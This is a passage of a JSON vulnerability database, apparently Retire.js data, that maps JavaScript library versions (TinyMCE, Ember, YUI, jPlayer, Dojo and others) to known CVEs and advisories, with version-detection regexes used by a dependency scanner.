UI - v(§§version§§)(.*\\n){1,3}.*jquery\\\\.ui\\\\.autocomplete\\\\.js\",\n        \"/\\\\*!?[\\n *]+jQuery UI (§§version§§)(.*\\n)*.*\\\\.ui\\\\.autocomplete\",\n        \"/\\\\*!?[\\n *]+jQuery UI Autocomplete (§§version§§)\",\n        \"/\\\\*!? jQuery UI - v(§§version§§)(.*\\n){1,3}\\\\* Includes: .* autocomplete\\\\.js\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery-ui-tooltip\": {\n    \"bowername\": [\n      \"jquery-ui\",\n      \"jquery.ui\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"1.9.2\",\n        \"below\": \"1.10.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2012-6662\"\n          ],\n          \"bug\": \"8859\",\n          \"summary\": \"Cross-site scripting (XSS) vulnerability in the default content option in jquery.ui.tooltip\"\n        },\n        \"info\": [\n          \"http://bugs.jqueryui.com/ticket/8859\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2012-6662\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"jQuery.ui.tooltip.version\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!? jQuery UI - v(§§version§§)(.*\\n){1,3}.*jquery\\\\.ui\\\\.tooltip\\\\.js\",\n        \"/\\\\*!?[\\n *]+jQuery UI (§§version§§)(.*\\n)*.*\\\\.ui\\\\.tooltip\",\n        \"/\\\\*!?[\\n *]+jQuery UI Tooltip (§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jquery.prettyPhoto\": {\n    \"bowername\": [\n      \"jquery-prettyPhoto\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"3.1.5\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-6837\"\n          ]\n        },\n        \"info\": [\n          \"https://nvd.nist.gov/vuln/detail/CVE-2013-6837\"\n        ]\n      },\n      {\n        \"below\": \"3.1.6\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"issue\": \"149\"\n        },\n        \"info\": [\n          \"https://github.com/scaron/prettyphoto/issues/149\",\n          \"https://blog.anantshri.info/forgotten_disclosure_dom_xss_prettyphoto\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"jQuery.prettyPhoto.version\"\n      ],\n      \"uri\": [\n        \"/prettyPhoto/(§§version§§)/js/jquery\\\\.prettyPhoto(\\\\.min?)\\\\.js\",\n        \"/prettyphoto@(§§version§§)/js/jquery\\\\.prettyPhoto\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*[\\r\\n -]+Class: prettyPhoto(?:.*\\n){1,3}[ ]*Version: (§§version§§)\",\n        \"\\\\.prettyPhoto[ ]?=[ ]?\\\\{version:[ ]?(?:'|\\\")(§§version§§)(?:'|\\\")\\\\}\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"jPlayer\": {\n    \"bowername\": [\n      \"jPlayer\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"2.3.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-2023\"\n          ],\n          \"release\": \"2.3.1\",\n          \"summary\": \"XSS vulnerability in actionscript/Jplayer.as in the Flash SWF component\"\n        },\n        \"info\": [\n          \"http://jplayer.org/latest/release-notes/\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2013-2023\"\n        ]\n      },\n      {\n        \"below\": \"2.3.23\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-2022\"\n          ],\n          \"release\": \"2.3.23\",\n          \"summary\": \"XSS vulnerabilities in actionscript/Jplayer.as in the Flash SWF component\"\n        },\n        \"info\": [\n          \"http://jplayer.org/latest/release-notes/\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2013-2022\"\n        ]\n      },\n      {\n        \"below\": \"2.2.20\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-1942\"\n          ],\n          \"release\": \"2.2.20\",\n          \"summary\": \"XSS vulnerabilities in actionscript/Jplayer.as in the Flash SWF component\"\n        },\n        \"info\": [\n          \"http://jplayer.org/latest/release-notes/\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2013-1942\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"new jQuery.jPlayer().version.script\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!?[\\n *]+jPlayer Plugin for jQuery (?:.*\\n){1,10}[ *]+Version: (§§version§§)\",\n        \"/\\\\*!? jPlayer (§§version§§) for jQuery\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"knockout\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"3.5.0-beta\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"issue\": \"1244\",\n          \"summary\": \"XSS injection point in attr name binding for browser IE7 and older\"\n        },\n        \"info\": [\n          \"https://github.com/knockout/knockout/issues/1244\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"ko.version\"\n      ],\n      \"filename\": [\n        \"knockout-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"uri\": [\n        \"/knockout/(§§version§§)/knockout(-[a-z.]+)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"(?:\\\\*|//) Knockout JavaScript library v(§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"sessvars\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.01\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"tenable\": \"98645\",\n          \"summary\": \"Unsanitized data passed to eval()\"\n        },\n        \"info\": [\n          \"http://www.thomasfrank.se/sessionvars.html\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"filename\": [\n        \"sessvars-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"sessvars ver (§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"swfobject\": {\n    \"bowername\": [\n      \"swfobject\",\n      \"swfobject-bower\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"2.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"DOM-based XSS\",\n          \"retid\": \"1\"\n        },\n        \"info\": [\n          \"https://github.com/swfobject/swfobject/wiki/SWFObject-Release-Notes#swfobject-v21-beta7-june-6th-2008\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"filename\": [\n        \"swfobject_(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"SWFObject v(§§version§§) \"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"tinyMCE\": {\n    \"bowername\": [\n      \"tinymce\",\n      \"tinymce-dist\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.4.2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Static code injection vulnerability in inc/function.base.php\",\n          \"CVE\": [\n            \"CVE-2011-4825\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2011-4825/\"\n        ]\n      },\n      {\n        \"below\": \"4.2.4\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"xss issues with media plugin not properly filtering out some script attributes.\",\n          \"retid\": \"61\"\n        },\n        \"info\": [\n          \"https://www.tinymce.com/docs/changelog/\"\n        ]\n      },\n      {\n        \"below\": \"4.2.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"FIXED so script elements gets removed by default to prevent possible XSS issues in default config implementations\",\n          \"retid\": \"62\"\n        },\n        \"info\": [\n          \"https://www.tinymce.com/docs/changelog/\"\n        ]\n      },\n      {\n        \"below\": \"4.7.12\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"FIXED so links with xlink:href attributes are filtered correctly to prevent XSS.\",\n          \"retid\": \"63\"\n        },\n        \"info\": [\n          \"https://www.tinymce.com/docs/changelog/\"\n        ]\n      },\n      {\n        \"below\": \"5.1.4\",\n        \"atOrAbove\": \"5.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs\",\n          \"githubID\": \"GHSA-27gm-ghr9-4v95\"\n        },\n        \"info\": [\n          \"https://github.com/tinymce/tinymce/security/advisories/GHSA-27gm-ghr9-4v95\"\n        ]\n      },\n      {\n        \"below\": \"5.1.6\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"CDATA parsing and sanitization has been improved to address a cross-site scripting (XSS) vulnerability.\",\n          \"retid\": \"64\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/release-notes/release-notes516/\"\n        ]\n      },\n      {\n        \"below\": \"5.2.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"media embed content not processing safely in some cases.\",\n          \"retid\": \"65\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/release-notes/release-notes522/\"\n        ]\n      },\n      {\n        \"below\": \"5.4.0\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"content in an iframe element parsing as DOM elements instead of text content.\",\n          \"retid\": \"66\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/release-notes/release-notes54/\"\n        ]\n      },\n      {\n        \"below\": \"5.6.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"security issue where URLs in attributes weren’t correctly sanitized. security issue in the codesample plugin\",\n          \"retid\": \"67\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/release-notes/release-notes56/#securityfixes\"\n        ]\n      },\n      {\n        \"below\": \"5.7.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"URLs are not correctly filtered in some cases.\",\n          \"retid\": \"68\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/release-notes/release-notes571/#securityfixes\"\n        ]\n      },\n      {\n        \"below\": \"5.9.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Inserting certain HTML content into the editor could result in invalid HTML once parsed. This caused a medium severity Cross Site Scripting (XSS) vulnerability\",\n          \"retid\": \"69\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/release-notes/release-notes59/#securityfixes\"\n        ]\n      },\n      {\n        \"below\": \"5.10.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"URLs not cleaned correctly in some cases in the link and image plugins\",\n          \"retid\": \"70\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/release-notes/release-notes510/#securityfixes\"\n        ]\n      },\n      {\n        \"below\": \"5.10.7\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2022-23494\"\n          ],\n          \"summary\": \"A cross-site scripting (XSS) vulnerability in TinyMCE alerts which allowed arbitrary JavaScript execution was found and fixed.\"\n        },\n        \"info\": [\n          \"https://www.tiny.cloud/docs/changelog/#5107-2022-12-06\",\n          \"https://www.cve.org/CVERecord?id=CVE-2022-23494\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/tinymce/(§§version§§)/tinymce(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"// (§§version§§) \\\\([0-9\\\\-]+\\\\)[\\n\\r]+.{0,1200}l=.tinymce/geom/Rect.\",\n        \"/\\\\*\\\\*[\\\\s]*\\\\* TinyMCE version (§§version§§)\"\n      ],\n      \"filecontentreplace\": [\n        \"/tinyMCEPreInit.*majorVersion:.([0-9]+).,minorVersion:.([0-9.]+)./$1.$2/\",\n        \"/majorVersion:.([0-9]+).,minorVersion:.([0-9.]+).,.*tinyMCEPreInit/$1.$2/\"\n      ],\n      \"func\": [\n        \"tinyMCE.majorVersion + '.'+ tinyMCE.minorVersion\"\n      ]\n    }\n  },\n  \"YUI\": {\n    \"bowername\": [\n      \"yui\",\n      \"yui3\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"3.5.0\",\n        \"below\": \"3.9.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4942\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2013-4942/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"3.2.0\",\n        \"below\": \"3.9.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4941\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2013-4941/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"3.0.0\",\n        \"below\": \"3.10.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4940\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2013-4940/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"3.0.0\",\n        \"below\": \"3.9.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4939\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2013-4939/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.8.0\",\n        \"below\": \"2.9.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2012-5883\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2012-5883/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.5.0\",\n        \"below\": \"2.9.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2012-5882\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2012-5882/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.4.0\",\n        \"below\": \"2.9.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2012-5881\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2012-5881/\"\n        ]\n      },\n      {\n        \"below\": \"2.9.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-4710\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2010-4710/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.8.0\",\n        \"below\": \"2.8.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-4209\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2010-4209/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.5.0\",\n        \"below\": \"2.8.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-4208\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2010-4208/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.4.0\",\n        \"below\": \"2.8.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-4207\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2010-4207/\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"YUI.Version\",\n        \"YAHOO.VERSION\"\n      ],\n      \"filename\": [\n        \"yui-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/*\\nYUI (§§version§§)\",\n        \"/yui/license.(?:html|txt)\\nversion: (§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"prototypejs\": {\n    \"bowername\": [\n      \"prototypejs\",\n      \"prototype.js\",\n      \"prototypejs-bower\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"1.6.0\",\n        \"below\": \"1.6.0.2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2008-7220\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2008-7220/\",\n          \"http://prototypejs.org/2008/01/25/prototype-1-6-0-2-bug-fixes-performance-improvements-and-security/\"\n        ]\n      },\n      {\n        \"below\": \"1.5.1.2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2008-7220\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2008-7220/\",\n          \"http://prototypejs.org/2008/01/25/prototype-1-6-0-2-bug-fixes-performance-improvements-and-security/\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"Prototype.Version\"\n      ],\n      \"uri\": [\n        \"/(§§version§§)/prototype(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"prototype-(§§version§§)(.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"Prototype JavaScript framework, version (§§version§§)\",\n        \"Prototype[ ]?=[ ]?\\\\{[ \\r\\n\\t]*Version:[ ]?(?:'|\\\")(§§version§§)(?:'|\\\")\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"ember\": {\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"4.9.0-alpha.1\",\n        \"below\": \"4.9.0-beta.3\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"55\"\n        },\n        \"info\": [\n          \"https://blog.emberjs.com/ember-4-8-1-released/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"4.5.0\",\n        \"below\": \"4.8.1\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"56\"\n        },\n        \"info\": [\n          \"https://blog.emberjs.com/ember-4-8-1-released/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"4.0.0\",\n        \"below\": \"4.4.4\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"57\"\n        },\n        \"info\": [\n          \"https://blog.emberjs.com/ember-4-8-1-released/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"3.25.0\",\n        \"below\": \"3.28.10\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"58\"\n        },\n        \"info\": [\n          \"https://blog.emberjs.com/ember-4-8-1-released/\"\n        ]\n      },\n      {\n        \"below\": \"3.24.7\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Prototype pollution\",\n          \"retid\": \"59\"\n        },\n        \"info\": [\n          \"https://blog.emberjs.com/ember-4-8-1-released/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.8.0\",\n        \"below\": \"1.11.4\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-7565\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.12.0\",\n        \"below\": \"1.12.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-7565\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.13.0\",\n        \"below\": \"1.13.12\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-7565\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.0.0\",\n        \"below\": \"2.0.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-7565\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.1.0\",\n        \"below\": \"2.1.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-7565\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"2.2.0\",\n        \"below\": \"2.2.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2015-7565\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\"\n        ]\n      },\n      {\n        \"below\": \"1.5.0\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0046\"\n          ],\n          \"summary\": \"ember-routing-auto-location can be forced to redirect to another domain\"\n        },\n        \"info\": [\n          \"https://github.com/emberjs/ember.js/blob/v1.5.0/CHANGELOG.md\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.3.0-*\",\n        \"below\": \"1.3.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0046\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.2.0-*\",\n        \"below\": \"1.2.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0046\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.4.0-*\",\n        \"below\": \"1.4.0-beta.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0013\",\n            \"CVE-2014-0014\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\",\n          \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.3.0-*\",\n        \"below\": \"1.3.1\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0013\",\n            \"CVE-2014-0014\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\",\n          \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.2.0-*\",\n        \"below\": \"1.2.1\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0013\",\n            \"CVE-2014-0014\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\",\n          \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.1.0-*\",\n        \"below\": \"1.1.3\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0013\",\n            \"CVE-2014-0014\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\",\n          \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0-*\",\n        \"below\": \"1.0.1\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-0013\",\n            \"CVE-2014-0014\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\",\n          \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0-rc.1\",\n        \"below\": \"1.0.0-rc.1.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4170\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0-rc.2\",\n        \"below\": \"1.0.0-rc.2.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4170\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0-rc.3\",\n        \"below\": \"1.0.0-rc.3.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4170\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0-rc.4\",\n        \"below\": \"1.0.0-rc.4.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4170\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0-rc.5\",\n        \"below\": \"1.0.0-rc.5.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4170\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0.0-rc.6\",\n        \"below\": \"1.0.0-rc.6.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2013-4170\"\n          ]\n        },\n        \"info\": [\n          \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\"\n        ]\n      },\n      {\n        \"below\": \"0.9.7.1\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"retid\": \"60\",\n          \"summary\": \"More rigorous XSS escaping from bindAttr\"\n        },\n        \"info\": [\n          \"https://github.com/emberjs/ember.js/blob/master/CHANGELOG.md\"\n        ]\n      },\n      {\n        \"below\": \"0.9.7\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"bug\": \"699\",\n          \"summary\": \"Bound attributes aren't escaped properly\"\n        },\n        \"info\": [\n          \"https://github.com/emberjs/ember.js/issues/699\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"Ember.VERSION\"\n      ],\n      \"uri\": [\n        \"/(?:v)?(§§version§§)/ember(\\\\.min)?\\\\.js\",\n        \"/ember\\\\.?js/(§§version§§)/ember((\\\\.|-)[a-z\\\\-.]+)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"ember-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"Project:   Ember -(?:.*\\n){9,11}// Version: v(§§version§§)\",\n        \"// Version: v(§§version§§)(.*\\n){10,15}(Ember Debug|@module ember|@class ember)\",\n        \"Ember.VERSION[ ]?=[ ]?(?:'|\\\")(§§version§§)(?:'|\\\")\",\n        \"meta\\\\.revision=\\\"Ember@(§§version§§)\\\"\",\n        \"e\\\\(\\\"ember/version\\\",\\\\[\\\"exports\\\"\\\\],function\\\\(e\\\\)\\\\{\\\"use strict\\\";?[\\\\s]*e(?:\\\\.|\\\\[\\\")default(?:\\\"\\\\])?=\\\"(§§version§§)\\\"\",\n        \"\\\\(\\\"ember/version\\\",\\\\[\\\"exports\\\"\\\\],function\\\\(e\\\\)\\\\{\\\"use strict\\\";.{1,70}\\\\.default=\\\"(§§version§§)\\\"\",\n        \"/\\\\*![\\\\s]+\\\\* @overview  Ember - JavaScript Application Framework[\\\\s\\\\S]{0,400}\\\\* @version   (§§version§§)\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"dojo\": {\n    \"vulnerabilities\": [\n      {\n        \"atOrAbove\": \"0.4\",\n        \"below\": \"0.4.4\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-2276\",\n            \"CVE-2010-2272\"\n          ]\n        },\n        \"info\": [\n          \"http://dojotoolkit.org/blog/dojo-security-advisory\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2276/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2272/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.0\",\n        \"below\": \"1.0.3\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-2276\",\n            \"CVE-2010-2274\",\n            \"CVE-2010-2273\"\n          ]\n        },\n        \"info\": [\n          \"http://dojotoolkit.org/blog/dojo-security-advisory\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2276/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2274/\",\n          \"http://www.cvedetails.com/cve/CVE-2010-2273/\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"1.1\",\n        \"below\": \"1.1.2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-2276\",\n            \"CVE-2010-2274\",\n            \"CVE-2010-2273\"\n          ]\n        },\n        \"info\": [\n          \"http://dojotoolkit.org/blog/dojo-security-advisory\",\n          